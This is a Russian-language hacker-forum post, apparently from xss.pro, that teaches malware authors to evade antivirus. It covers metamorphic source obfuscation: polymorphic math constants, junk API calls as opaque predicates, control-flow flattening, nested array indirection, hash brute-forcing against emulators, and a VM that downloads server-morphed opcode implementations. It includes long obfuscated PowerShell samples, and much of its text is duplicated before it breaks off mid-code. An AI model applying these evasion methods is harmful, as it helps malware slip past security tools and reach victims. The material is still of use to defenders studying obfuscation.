Методы обхода AV в исходниках c++
Делай задержку мат вычислениями. Это самый неявный способ. И результат мат вычислений используй в реальной работе дешифровщика полезной нагрузки. Таким образом убиваешь 2 зайцев сразу - мат вычисления это некий трешген, а сам подсчёт, если он вычислительно сложный - антиэмуль. Если сделаешь мат выражения разные, но при этом дающие один и тот же результат - получаешь полиморфный мусор и антиэмуль. Потом уже над этим полиморфным мусором (твоим мат выражением) проводишь операции разбиения на более сложные сущности. Например у тебя в мат выражении фигурирует цифра 5. Преврати ее в вид
parseInt('opf4opf5opf6'.split('opf')[2])
и ты это вставишь вместо инта в исходник. При этом разделитель делаешь рандомный. И мусорные 4,6 - тоже должны быть рандомные. Таким образом ты с 1 инта в твоём полиморфном мат выражении породил уже вызов апи и операцию со строкой, породив при этом новую строку 'opf4opf5opf6'. Операцию над которой тоже можешь выполнить полиморфным способом. И так далее.
2) второй алгоритм. Мусорных вызовов апи. Получаешь ту же пятерку на предыдущем шаге. А заранее у тебя ассоциативный массив составлен, где ключ это число, а значения к этому ключу - различные апи вызовы, которые дают это число. Часто тот же вин апи может возвращать 0 или 1. Апи по работе со строками может возвращать вообще любые числа, если в аргументах ты передаёшь строку и поиск позиции какого то символа в ней. Делаешь в общем такой ассоциативный массив, чем больше значений, у ключей, тем лучше. Но ты скажешь, какова вероятность вообще, что для нужной нам 5, в нашем ассоциативном массиве будет подходящий ключ? Правильно, никакой. По этому мы 5 разбиваем на слагаемые, так, чтобы одно слагаемое было существующим ключом в твоём ассоциативном массиве, а второе слагаемое - недостающей разницей, чтобы получилось 5. Таким образом получаешь вид api call + k = n. Где n это твоя 5. А api call это opaque predicate. k - слагаемое, просчитанное на основе opaque predicate, чтобы в итоге получить n.
Реализацию не выложу, поскольку 0day разработка. Но описать некоторые алгоритмы могу, что и делаю выше. Есть 2 актора. Это твой вход, то есть сорц. И генератор. Который превращает элементы в твоем коде по определенным правилам. Вот то что выше - это описание алгоритмов для генератора как раз. Задача генератора - сделать из твоего входа, другой выход, сложный как и для понимания, так и для анализа аверами. Это понятие обфускации. Многие обфускаторы, если им подать на вход один и тот же код - делают конечное число выходов. То есть после N раза генерации ты нарвешься на повтор. Можно, конечно, подавать обфускатору на вход его же выход - но рано или поздно ты упрешься в ограничения по размеру кода. Потому что код при обфускации раздувается, а раздувать до бесконечных размеров не выйдет в мире малвари. При этом, ты все равно на каком то этапе при повторении обфускации нарвешься на вариант, который у тебя уже был. И если ты плотно работаешь, то аверы так или иначе внесут сигнатуры всех твоих N разновидностей обфускации. А есть метаморфные обфускаторы. Это значит, что код, выдаваемый на основе одного и того же входа всегда разный, но при этом результатом его исполнения является та же логика, что и во входе. С чего начать и как добиться метаморфности? Имхо нужно начинать с данных. Возьмем простой пример на powershell.
Символ можно представить в виде int. Возьмем код ASCII для каждого символа отсюда. xss.pro -> 120 115 115 046 105 115
В powershell это выглядело бы так.
[char]120 + [char]115 + [char]115 + [char]046 + [char]105 + [char]115 = 'xss.pro'
Надеюсь с этим все понятно, потому что дальше начинается жара. int мы можем разложить в мат выражение. Произвольное! С точки зрения логики, ответь на вопрос, сколькими способами можно представить число 120(первое в нашем списке)? И как бы выглядел такой алгоритм? Я нашел ответ на этот вопрос. Ответ чуть позже. А пока:
А теперь ответ на вопрос "С точки зрения логики, ответь на вопрос, сколькими способами можно представить число 120(первое в нашем списке)?" - Бесконечное множество. В первом шаге мы добились полиморфности константы. Как я сделал генерацию мат выражения - Алгебра 5 класс)) формула: rand_math_expression_tree + x = 120. Твоя задача найти х. "$(((21 + 90) * (80 - (68 - 17))) - (3099)) - дает 120"
Что делаем со строками думаю понятно, да? для каждого char проделываем разбиение и в конце конкатенацию.
А дальше мы работаем с элементами нашего math_expression. Ну например, мне не нравится, что мат выражение в одну строку. Я хочу это усложнить вот таким алгоритмом.
Сначала простое понимание. Потом покажу "как на практике".
К примеру у нас 5 разбилась в ((1+1 + 0) + 3) - 10 + 10
Дальше кодогенерация. Все это превращается в
k = 1
l = k
k = d
jk = 1
ll = d + jk
kd = 0
lm = kd
dk = ll + lm
ld = 3
oo = ld
km = oo - 10
x = km + 10
Понятно, да? Мы определяем флоу выполнения из переменных, их присваиваний и переприсваиваний, которое приводит нас к тому, что в x окажется 5.
А теперь боевой пример.
Поскольку на первом шаге мы получили полиморфную репрезентацию константы, то на этом шаге мы получили 100500 переменных со своим уникальным состоянием, которое, в свою очередь, приводит к уникальному состоянию всего скрипта. При каждой генерации это состояние будет уникальным. Но при этом весь флоу выполнения приводит к тому, чтобы в $x оказался 'xss.pro'
В бой.
Поскольку наш генератор умный и работает с AST яп, а не на шаблонах, то он заменяет все интовые вхождения, включая индекс [2], благодаря чему получается такая интересная вложенность в боевом примере.
$gjyodIQzwSmEDtr = $([int]("36GEhZrfKFMdmkOgA28GEhZrfKFMdmkOgA62GEhZrfKFMdmkOgA27GEhZrfKFMdmkOgA92GEhZrfKFMdmkOgA53GEhZrfKFMdmkOgA40GEhZrfKFMdmkOgA13GEhZrfKFMdmkOgA23GEhZrfKFMdmkOgA18" -split "GEhZrfKFMdmkOgA")[$([int]("51NwsyQhtxDgKYcBR71NwsyQhtxDgKYcBR61NwsyQhtxDgKYcBR26NwsyQhtxDgKYcBR28NwsyQhtxDgKYcBR55NwsyQhtxDgKYcBR0NwsyQhtxDgKYcBR34NwsyQhtxDgKYcBR20NwsyQhtxDgKYcBR84" -split "NwsyQhtxDgKYcBR")[$([int]("73DifWItmGNzBvKOJ11DifWItmGNzBvKOJ51DifWItmGNzBvKOJ21DifWItmGNzBvKOJ30DifWItmGNzBvKOJ17DifWItmGNzBvKOJ97DifWItmGNzBvKOJ6DifWItmGNzBvKOJ90DifWItmGNzBvKOJ94" -split "DifWItmGNzBvKOJ")[$([int]("80pBiQGtJkSrzgEeF71pBiQGtJkSrzgEeF7pBiQGtJkSrzgEeF2pBiQGtJkSrzgEeF79pBiQGtJkSrzgEeF40pBiQGtJkSrzgEeF10pBiQGtJkSrzgEeF8pBiQGtJkSrzgEeF27pBiQGtJkSrzgEeF29" -split "pBiQGtJkSrzgEeF")[2])])])])
Инты, отвечающие за индексы, превращаются в такой же splitted вид.
А теперь запутаем ход выполнения с помощью Control Flow Flattening. Если не знаешь, что это такое, то вот 2 картинки. По ним все понятно.
У меня дефолтная реализация этого алгоритма, за исключением одного "но".
Но, сначала посмотрим на боевой код, который порождает этот генератор из нашего начального сорца $x = 'xss.pro'.
switch case в powershell работает таким образом, что case может быть как константой, так и вычисляемым выражением.Возьмем сниппет case блока из примера по ссылке.
$(((62 + 32) * (46 + (18 * 53))) + (783741864))
{
$VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
$cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz
}
Это полноценный case. Только вот в каком случае произойдет на него прыжок? Чтобы это узнать - надо посчитать $(((62 + 32) * (46 + (18 * 53))) + (783741864)). Чтобы узнать место следующего прыжка - надо просчитать $VjnsxotMifqHRSL = $(((76 * 44) * (34 + (70 - 51))) + (1553393723));
А $cnwlTBaHRqOzmxG = $CymAsYVpNQJxOLz - это реальная инструкция, взятая с предыдущих шагов обфускации. Но когда она выполнится?)
Чтобы понять, что за чем будет выполняться и как этот код работает, и в какой последовательности - надо сначала просмотреть все case, высчитать их значения, потом просмотреть место следующего прыжка, его тоже высчитать и восстановить правильную последовательность флоу. Control flow flattening мы применили тут как раз к предыдущему шагу, когда разбили мат выражение на 100500 переменных. Имеем, значит такую последовательность. Разбили константу в полиморфное мат выражение -> разбили мат выражение в 100500 переменных, с уникальным состоянием. А потом поморфили флоу выполнения. Где места прыжков и передача флоу не в открытом виде, а тоже является вычисляемой величиной. То есть это opaque predicate - результат известный нам при генерации, но который нельзя получить без вычисления руками и/или эмуляции автоматикой.
Есть еще алгоритм Bogus Flow Flattening. Он у меня тоже имеется в реализации, но его уже выставлять не буду, лень билдить. Лучше просто скажу что это такое.
Суть bff алгоритма в том, что мы все statements в коде оборачиваем в if else конструкции. При этом мы генерируем для if в условии opaque predicate. Такое, чтобы нельзя было на него просто глянуть и понять без вычисления, что будет истиной, а что ложью.
Например имеем код
x = 5
y = 6
z = x + y.
Допустим, что в генераторе рандом определил, что if будет ложным а else тру.
Тогда генерируется для первого стейтмента x = 5 такой код.
Следующий алгоритм в нашем арсенале. Я зову его "пошел нахуй аверский реверсер". Лучше один раз увидеть, чем сто раз услышать.
Простой пример в простейшем виде, для понимания логики:
Подаем на вход:
Стало после 1 итерации морфера.
Стало после 3 итераций
Уже ребус ебанный. Особенно, если не знаешь что искомое это 'xss.pro'.
Стало после 10 итераций.
В чем логика? Для того, чтобы узнать, что лежит в $x, нужно сходить посмотреть массив $TpXcwgyfzZCaKRH по индексу [$WNYSgtsCPvpZoBL[$kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]]
А как узнать индекс? Вместо него ссылка на другой массив $WNYSgtsCPvpZoBL и элемент в нем по индексу...? $kuSNCfYHZogTMPh[$NGPcfHgiUqpBnMy[$otMFgrnfQENzYWe[$TXvApZqgcdYbsSI[$wEQRvXzPljnbqJI[$aExgurVDocBOniI[$LVWvnNbyRShojaw[$GEjhTeFJBovkpNM[511]]]]]]]]
ну и так далее
А теперь представьте, что это не простой пример, где 'xss.pro' лежит на виду в первом массиве и можно догадаться, что окажется в x. А вот такой алгоритм - это поиск какого то элемента мат выражения...То есть прогоняем этим алгоритмом уже то, что поморфили ранее.
А че представлять, в общем то, вот боевой пример.
Посмотрим на один из case в нашей каше.
$((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2371]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2372]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2373]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2374]] * $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2375]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2376]]))
{
$QsdADZVJCeOFWhb = $((($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2377]] + $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2378]]) * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2379]] * ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2380]] - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2381]]))) + ($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2382]]));
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])
}
Узнаем тут наш алгоритм с предыдущего шага, где сплитили инты.
$GkOEiNbWTfIpzmu = ($([int]($CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2383]] -split $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2384]])[$CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2385]]]) - $CJcdFprqzkmRLnK[$BZmLVXDQpdeTYwC[2386]])
Как то так
Такая магия возможна из-за конвеерной обратки сорцов. Шаг за шагом, алгоритмы накладываются слоями. А если исполнишь - получишь в $x - 'xss.pro'. Че как, все понятно?))) А представь, если бы морфило так какой нибудь С++. Что получилось бы при дизассемблировании? Указатель на указатель на указатель который лежит в указателе и который указателем используется)) И это далеко не все показанные мной тут алгоритмы. Так вот по поводу моего прошлого поста и вызова мусорных апи. Поясню, чтобы стало понятнее. Ты заранее составляешь ассоциативный массив. Словарь в простонародье. Где число какое нибудь это ключ, а значения для этого ключа это вызовы апи (вин апи, дотнета, стандартной библиотеки - не суть), которые дают, с определенными аргументами при вызове, это самое число. Тебе это надо заранее либо вручную просчитать, либо генератором, что было бы универсальнее. Например у нас такое соответствие по ключам и значениям:
int 1 : STD_API1(trash_arg1, trash_arg2), WIN_API1(trash_arg1), WIN_API2(trash_arg);
int 2 : STD_API2(trash_arg1), DOTNET_API(trash_arg, trash_arg2)
....
Что это для нас значит? Например первый символ в строке xss.pro это 120 в ASCII. Ты разбиваешь 120 на N слагаемых. Одни должны быть твоими ключами в ассоциативном массиве, а вторые - недостающими до 120. То есть api_call + k = n. Генеришь и заменяешь в исходнике вместо [char]120 -> STD_API2(trash_arg1) + STD_API1(trash_arg1, trash_arg2) + WIN_API1(trash_arg1) + 116. Потому что вызов STD_API2(trash_arg1) даст 2(ты заранее просчитал), а STD_API1(trash_arg1, trash_arg2) и WIN_API1(trash_arg1) +1 +1 соответственно. 120 - 4 = 116.
Почему именно так делать мусорные вызовы апи? И вообще все остальное? Ты связываешь контекст выполнения с мусорными вызовами и остальными элементами кодогенерации, описанными в моей "статье-коментарии". Ничего нельзя просто скипнуть. Потому что от этого зависит целостность данных.
Единственное, с чем не разобрались - с вычислительной сложностью, потому что все что выше, аверы ,думаю, еще могут кое как можно проэмулить без особой боли.
Вот тебе пример, вычислительно сложный. На JavaScript.
Перебирает алфавит, достает рандомный символ из массива, с алфавитом в lowercase, и складывает в str_. До тех пор, пока str_ не будет равняться хэшу, который мы передаем в calcByHash. Если str_ достиг длины, которую мы передаем в аргументе, то str_ обнуляется. Такой вот незамысловатый брут хэша небольшой длины.
alert(calcByHash('58e0413224af6b6d3505dd1819d02491c34588de7a4dc6a9ad48a8f7e08e2f7b', 3)) - в данном случае calcByHash вернет 'xss' строку. Где то через 4-6 секунд вычислений(На Intel core i5 7th gen). Больших размеров строки не советую. Лучше 'xss' + '.is' по раздельности считать. calcByHash() + calcByHash() = ~ 12 секунд. Если захочешь посчитать 'xss.pro' хэш одним вызовом calcByHash, то будешь ждать ОЧЕНЬ долго.
Достаточно таким образом поискать элемент по хэшу в мат выражении, составленом на предыдущих этапах и ты сразу же шлешь эмуляторы всех аверов нахуй, вот так незамысловато. При этом скипнуть нельзя, поскольку, не найдешь хэш - не найдешь и элемент мат выражения. А значит не найдешь важную строку, которая идет аргументом в важную апи, от которой зависит работа твоей программы. Можешь еще доработать мой пример и солить хэш, чтобы в calcByHash, в каждом билде шел уникальный хэш, а не один и тот же.
Вот после этих всех шагов, пора выпускать тяжелую артелерию, (хотя обфускация на уровне сорцов, таким образом, что я выше описал, тоже очень сильно портит жизнь аверам), от чего аверы не могут ловить сигнатуры в рантайме, а значит, лишены важной возможности анализировать малварь, при хуке палевной апи функции в малвари. Каков смысл давать детект только на основе вызова, если контекст потерян? Если бы палило только на основании апи вызовов, 100500 false positive было бы не избежать, то есть для аверов это не тру путь. Всегда идет связка - какое то палево - рескан памяти.
Я покажу лишь основу, дальше каждый дрочет как он хочет
Короче VM внутри VM. Возьмем на примере опять же powershell. Но ничего не мешает применить данный коцепт к другим яп. Мы знаем, что PS это интерпретатор, который написан на c#, однако ничего не мешает нам сделать внутри него свою вм.
Это простейшая stack based vm, которая позволяет загружать константы на стек и оперировать значениями на стеке, такими опкодами как ISUB, IADD, PRINT. Немного, но чтобы показать идею - хватит. Концепт заключается в том, чтобы реализацию опкодов вынести за пределы вм. И сервер-сайд морфером, алгоритмы которого описаны выше, перед каждой выдачей сорца, при исполнении опкода - морфить его. Таким образом при каждом вызове опкода, к примеру @('ICONST', 15), будет скачиваться и выполняться каждый раз уникальная реализация для этого опкода. При этом можно так же написать морфер для самой последовательности инструкций, которые передаются в функцию execute(смотри ниже), получая метаморф в ^ 2.
@(
@('ICONST', 5),
@('ICONST', 10)
@('IADD'),
@('PRINT'),
@('ICONST', 15),
@('ISUB'),
@('ICONST', 15),
@('ISUB'),
@('PRINT'),
@('HALT')
)
P.S Перечитал, понесло меня, хотел обойтись парой советов
А чето тянет на целую статью. Просто в комментарии жалко оставлять, потеряется и немного людей увидит, которым потенциально бы зашло. Если администрация/модерация посчитает информацию в этом комментарии достойной/достаточной текущего конкурса, то просьба перенести в нужный раздел, я не против поучаствовать
А если нет, то, хотя бы, просьба перенести в раздел статей, дабы авторский труд не потерялся.
Делай задержку мат вычислениями. Это самый неявный способ. И результат мат вычислений используй в реальной работе дешифровщика полезной нагрузки. Таким образом убиваешь 2 зайцев сразу - мат вычисления это некий трешген, а сам подсчёт, если он вычислительно сложный - антиэмуль. Если сделаешь мат выражения разные, но при этом дающие один и тот же результат - получаешь полиморфный мусор и антиэмуль. Потом уже над этим полиморфным мусором (твоим мат выражением) проводишь операции разбиения на более сложные сущности. Например у тебя в мат выражении фигурирует цифра 5. Преврати ее в вид
parseInt('opf4opf5opf6'.split('opf')[2])
и ты это вставишь вместо инта в исходник. При этом разделитель делаешь рандомный. И мусорные 4,6 - тоже должны быть рандомные. Таким образом ты с 1 инта в твоём полиморфном мат выражении породил уже вызов апи и операцию со строкой, породив при этом новую строку 'opf4opf5opf6'. Операцию над которой тоже можешь выполнить полиморфным способом. И так далее.
2) второй алгоритм. Мусорных вызовов апи. Получаешь ту же пятерку на предыдущем шаге. А заранее у тебя ассоциативный массив составлен, где ключ это число, а значения к этому ключу - различные апи вызовы, которые дают это число. Часто тот же вин апи может возвращать 0 или 1. Апи по работе со строками может возвращать вообще любые числа, если в аргументах ты передаёшь строку и поиск позиции какого то символа в ней. Делаешь в общем такой ассоциативный массив, чем больше значений, у ключей, тем лучше. Но ты скажешь, какова вероятность вообще, что для нужной нам 5, в нашем ассоциативном массиве будет подходящий ключ? Правильно, никакой. По этому мы 5 разбиваем на слагаемые, так, чтобы одно слагаемое было существующим ключом в твоём ассоциативном массиве, а второе слагаемое - недостающей разницей, чтобы получилось 5. Таким образом получаешь вид api call + k = n. Где n это твоя 5. А api call это opaque predicate. k - слагаемое, просчитанное на основе opaque predicate, чтобы в итоге получить n.
Реализацию не выложу, поскольку 0day разработка. Но описать некоторые алгоритмы могу, что и делаю выше. Есть 2 актора. Это твой вход, то есть сорц. И генератор. Который превращает элементы в твоем коде по определенным правилам. Вот то что выше - это описание алгоритмов для генератора как раз. Задача генератора - сделать из твоего входа, другой выход, сложный как и для понимания, так и для анализа аверами. Это понятие обфускации. Многие обфускаторы, если им подать на вход один и тот же код - делают конечное число выходов. То есть после N раза генерации ты нарвешься на повтор. Можно, конечно, подавать обфускатору на вход его же выход - но рано или поздно ты упрешься в ограничения по размеру кода. Потому что код при обфускации раздувается, а раздувать до бесконечных размеров не выйдет в мире малвари. При этом, ты все равно на каком то этапе при повторении обфускации нарвешься на вариант, который у тебя уже был. И если ты плотно работаешь, то аверы так или иначе внесут сигнатуры всех твоих N разновидностей обфускации. А есть метаморфные обфускаторы. Это значит, что код, выдаваемый на основе одного и того же входа всегда разный, но при этом результатом его исполнения является та же логика, что и во входе. С чего начать и как добиться метаморфности? Имхо нужно начинать с данных. Возьмем простой пример на powershell.
Код:
$x = 'xss.pro'
Символ можно представить в виде int. Возьмем код ASCII для каждого символа отсюда. xss.pro -> 120 115 115 046 105 115
В powershell это выглядело бы так.
[char]120 + [char]115 + [char]115 + [char]046 + [char]105 + [char]115 = 'xss.pro'
Надеюсь с этим все понятно, потому что дальше начинается жара. int мы можем разложить в мат выражение. Произвольное! С точки зрения логики, ответь на вопрос, сколькими способами можно представить число 120(первое в нашем списке)? И как бы выглядел такой алгоритм? Я нашел ответ на этот вопрос. Ответ чуть позже. А пока:
Код:
Глубина у генератора мат выражения - 5.
1 вариант)$(((15 + 38) + (16 * (44 - 40))) + (3)) - дает 120
2 вариант)$(((6 - 33) * (22 + (76 * 68))) + (140250)) - дает 120
3 вариант)$(((39 - 97) * (95 + (85 - 85))) + (5630)) - дает 120
4 вариант)$(((21 + 90) * (80 - (68 - 17))) - (3099)) - дает 120
Глубина у генератора 50.
1 вариант) $((((((28 * (72 + 31)) + (30 * (21 + 54))) - ((14 + (31 + 92)) - (4 * (9 - 98)))) - (((67 + (48 + 93)) - (74 - (58 - 72))) * ((10 - (15 + 98)) * ((94 + 51) - (61 - 68))))) - ((((56 * (80 - 73)) + (90 + (33 * 72))) + ((2 - (43 - 14)) + (64 - (44 * 41)))) + (((5 + (87 - 30)) + (48 + (39 * 34))) - ((67 - (20 * 91)) + ((47 * 15) + (57 + 72)))))) - (1879795)) - дает 120
2 вариант) $((((((32 - (29 * 70)) - (15 + (82 - 67))) * ((94 - (34 + 92)) * (81 + (85 + 67)))) - (((71 + (74 + 51)) + (15 - (38 + 4))) - ((62 + (12 * 15)) - ((93 - 88) + (86 + 29))))) - ((((42 + (38 * 5)) + (93 + (81 * 88))) * ((77 - (3 * 85)) + (1 * (46 - 96)))) + (((23 - (68 * 58)) + (85 * (63 + 7))) + ((45 * (59 * 58)) - ((33 * 77) - (68 - 72)))))) - (16666411)) - дает 120
Думаю хватит..)
Что делаем со строками думаю понятно, да? для каждого char проделываем разбиение и в конце конкатенацию.
Код:
1) $(([string]([char](120))) + ([string]([char](115))) + ([string]([char]($(((78 - 1) * (24 + (54 * 95))) - (396743))))) + ([string]([char]($(((98 * 82) - (80 - (83 - 54))) - (7939))))) + ([string]([char](105))) + ([string]([char]($(((80 * 39) * (79 + (89 * 97))) - (27181325)))))) -> 'xss.pro'
2) $(([string]([char](120))) + ([string]([char](115))) + ([string]([char](115))) + ([string]([char]($(((96 * 25) + (30 + (35 + 1))) - (2420))))) + ([string]([char](105))) + ([string]([char]($(((4 - 95) - (42 - (58 - 29))) + (219)))))) -> 'xss.pro'
etc...
А дальше мы работаем с элементами нашего math_expression. Ну например, мне не нравится, что мат выражение в одну строку. Я хочу это усложнить вот таким алгоритмом.
Сначала простое понимание. Потом покажу "как на практике".
К примеру у нас 5 разбилась в ((1+1 + 0) + 3) - 10 + 10
Дальше кодогенерация. Все это превращается в
k = 1
l = k
k = d
jk = 1
ll = d + jk
kd = 0
lm = kd
dk = ll + lm
ld = 3
oo = ld
km = oo - 10
x = km + 10
Понятно, да? Мы определяем флоу выполнения из переменных, их присваиваний и переприсваиваний, которое приводит нас к тому, что в x окажется 5.
А теперь боевой пример.
Код:
$EXpuRalHWxfvtQA = (40 - (52 + 29))
$iqgopaRPrmTIQUw = (445869)
$YrWlLbkMaKvIqoc = $iqgopaRPrmTIQUw
$UcbeHrDgGxXtfJu = 59
$xGIUHPKCFLlAZOW = 97
$tGXjPoMVDKhQyLf = ($UcbeHrDgGxXtfJu * $xGIUHPKCFLlAZOW)
$SAZeqvIXzjVQnbt = (78 * $tGXjPoMVDKhQyLf)
$HcByQNoLlREfMUT = 64
$zisgAkOSaYPHDTj = 10
$mGAUMDtQvPxhunb = $zisgAkOSaYPHDTj
$SCqcVYwzQIXxDlb = $mGAUMDtQvPxhunb
$sARFLgGJXcPHETS = $SCqcVYwzQIXxDlb
$wiuclmWXVEbpSIo = $HcByQNoLlREfMUT
$RwELGycBOrjqUzf = ($wiuclmWXVEbpSIo * $sARFLgGJXcPHETS)
$aAhOBXIWgGuRSeN = $SAZeqvIXzjVQnbt
$kGAQNOrZsjHKJmx = $aAhOBXIWgGuRSeN
$iXUkrmbPolOJBFn = $RwELGycBOrjqUzf
$jaCygwBnMiubxEs = $iXUkrmbPolOJBFn
$bmyFiIcZestquNo = $kGAQNOrZsjHKJmx
$eHfBizwONqDWFPb = $jaCygwBnMiubxEs
$PbeKgjHNXBkiLmr = $bmyFiIcZestquNo
$pfiPUlSwuEdeDoz = $PbeKgjHNXBkiLmr
$MGtsTefhUobyDXO = $pfiPUlSwuEdeDoz
$fqwnBAcVXjQoDkh = $eHfBizwONqDWFPb
$PqCcjlNXBERuZTn = ($fqwnBAcVXjQoDkh - $MGtsTefhUobyDXO)
$mEyZwbGTcNUCfjY = $YrWlLbkMaKvIqoc
$LdqPIuTszZDxmkh = $PqCcjlNXBERuZTn
$NxzjtMEimwoeSyl = $mEyZwbGTcNUCfjY
$uZpewXBthxoGqzR = $NxzjtMEimwoeSyl
$nMmKOWJCYhPvFEZ = ([string]([char]($($LdqPIuTszZDxmkh + $uZpewXBthxoGqzR))))
$DWSVzanTkEuRNfw = $nMmKOWJCYhPvFEZ
$augYOzIHVptNFdj = $EXpuRalHWxfvtQA
$tJCXLTMecYBfmqF = $augYOzIHVptNFdj
$gbimxlIoqZcuXwU = 95
$hIdiclvTAWrmLbt = 90
$hrjixlTRXKcaLvH = $hIdiclvTAWrmLbt
$vpqcEmPVbOhYGRK = $gbimxlIoqZcuXwU
$DTPwUIVkqipaZlv = $vpqcEmPVbOhYGRK
$ADVZLYuyGWEwXSl = $DTPwUIVkqipaZlv
$sURSlIObLJQyuwC = $hrjixlTRXKcaLvH
$aFqifsWEAeoZLpY = $ADVZLYuyGWEwXSl
$ESjlifgrUOsTJmI = (($aFqifsWEAeoZLpY * $sURSlIObLJQyuwC) * $tJCXLTMecYBfmqF)
$zpHSTvPGNQBXFyM = ([string]([char]($($ESjlifgrUOsTJmI + (350670)))))
$smSCfxPgvlNeUrT = $DWSVzanTkEuRNfw
$xjlgUhiKJWwPAQk = $zpHSTvPGNQBXFyM
$btnNCdDpWZJVYjc = $smSCfxPgvlNeUrT
$RnmAMPOcfSpwZaJ = $xjlgUhiKJWwPAQk
$rzKHSbqvMWJEtaf = $RnmAMPOcfSpwZaJ
$FLEnwpXuDkcbJSR = $btnNCdDpWZJVYjc
$evlhYAkIQrSCGto = $FLEnwpXuDkcbJSR
$NYMSqDJRBEFQhxb = $rzKHSbqvMWJEtaf
$HOkVlzqMjbdByxP = $evlhYAkIQrSCGto
$tSEejLcYPhpUbFv = $HOkVlzqMjbdByxP
$pEXAMToDQiUeVlh = $NYMSqDJRBEFQhxb
$vHseVNlGPoRSaDU = $tSEejLcYPhpUbFv
$BvzfEZaWsRruoCL = $pEXAMToDQiUeVlh
$PvZEoCMuLVptnGF = $vHseVNlGPoRSaDU
$UpAsoTSbdIKrGPq = $BvzfEZaWsRruoCL + $PvZEoCMuLVptnGF
$kKQSCVAfmMiYDdG = (142)
$qaxnRupCGsQEhSJ = (73 + 12)
$rKlzCovygJeNPSX = 83
$wCJeLBEkZtVRsYu = $rKlzCovygJeNPSX
$eEbshOPWcTCjnaq = 99
$ipKQxTZDdLGUPfz = $eEbshOPWcTCjnaq
$uCMPhFmaspfwGSq = $ipKQxTZDdLGUPfz
$iweUPDpntAmBhFS = $uCMPhFmaspfwGSq
$poAySwLhVdBtnvC = $wCJeLBEkZtVRsYu
$hBNgkGjZyfQAcHn = ($iweUPDpntAmBhFS - $poAySwLhVdBtnvC)
$SGExZkLNYmzChpb = $hBNgkGjZyfQAcHn
$cmidxtZHnVzXChO = 87
$tzgWjirKMFyRxmV = $cmidxtZHnVzXChO
$uSVdICxEeWLPlKs = $SGExZkLNYmzChpb
$SrsBWfdIYkhAZPn = ($tzgWjirKMFyRxmV + $uSVdICxEeWLPlKs)
$DNLRHBWKGMTtgwx = $SrsBWfdIYkhAZPn
$yWbAGxrsplCUokY = $DNLRHBWKGMTtgwx
$xBianfhsTkoMYjE = ($qaxnRupCGsQEhSJ + $yWbAGxrsplCUokY)
$mZdCTHAkvSJwyuB = $xBianfhsTkoMYjE
$RpZwGvrJsPVYjIf = $mZdCTHAkvSJwyuB
$UKTSmZqnPVRJegY = $kKQSCVAfmMiYDdG
$skUbhNfXWeYuZDq = $RpZwGvrJsPVYjIf
$EaTkFROXCysmbzI = $skUbhNfXWeYuZDq
$KuFxXYlVtoaShyI = $UKTSmZqnPVRJegY
$geWXQulNkSCdmRU = $EaTkFROXCysmbzI
$WkXYBfloGVyZRuP = $geWXQulNkSCdmRU
$lAUCQvFuIhoRBwy = $WkXYBfloGVyZRuP
$yKTPEhvmHgSqYbG = $KuFxXYlVtoaShyI
$ngjwUOWYfGoveAM = $lAUCQvFuIhoRBwy
$rQMeYuclEgidSHt = $yKTPEhvmHgSqYbG
$cQyaHZrMAouBlib = $ngjwUOWYfGoveAM
$BhlYDEmNfcsGWwI = $rQMeYuclEgidSHt
$JnrfYpZvEgOqhXj = $BhlYDEmNfcsGWwI
$gvrkPEqxfiIRLmJ = $JnrfYpZvEgOqhXj
$AQEuTBanwlJRkvL = $cQyaHZrMAouBlib
$mMHWsfRUJtIlgve = $AQEuTBanwlJRkvL
$RrfZhVYuyTBsUXO = $gvrkPEqxfiIRLmJ
$XszuMKyTjNbHIxY = $RrfZhVYuyTBsUXO
$hHxwyMjJLtDrTpI = $XszuMKyTjNbHIxY
$LZfhqwlSNaboDRP = $hHxwyMjJLtDrTpI
$dbmxyTNjPspWkAa = $mMHWsfRUJtIlgve
$XfMzaIyuUwdtHTj = $dbmxyTNjPspWkAa
$CJpqDXvoiRagzST = $XfMzaIyuUwdtHTj
$ZWoykHJTFchRPlu = $LZfhqwlSNaboDRP
$MYAqxiHjDcmJShR = $CJpqDXvoiRagzST
$KnkHWtjvEGbdgzU = $ZWoykHJTFchRPlu
$PnzRDJOqfYIpcMs = $KnkHWtjvEGbdgzU
$ZCcamHkKsedtIYb = $PnzRDJOqfYIpcMs
$szbiaOehWoGclrj = ([string]([char]($($MYAqxiHjDcmJShR - $ZCcamHkKsedtIYb))))
$qyImCNlfZKzibdD = 52
$kXgBNWAueVIhKHZ = $qyImCNlfZKzibdD
$gcpfHOGsNklLTmu = (68 + $kXgBNWAueVIhKHZ)
$tgIYCibSawxfDyB = 54
$yHgvkGoFzIahNwT = 15
$iFrscBdWlzPYDfX = $tgIYCibSawxfDyB
$sLBaMUCINyceXvA = $iFrscBdWlzPYDfX
$itkyNKYpLBPOvWR = (17 - ($yHgvkGoFzIahNwT - $sLBaMUCINyceXvA))
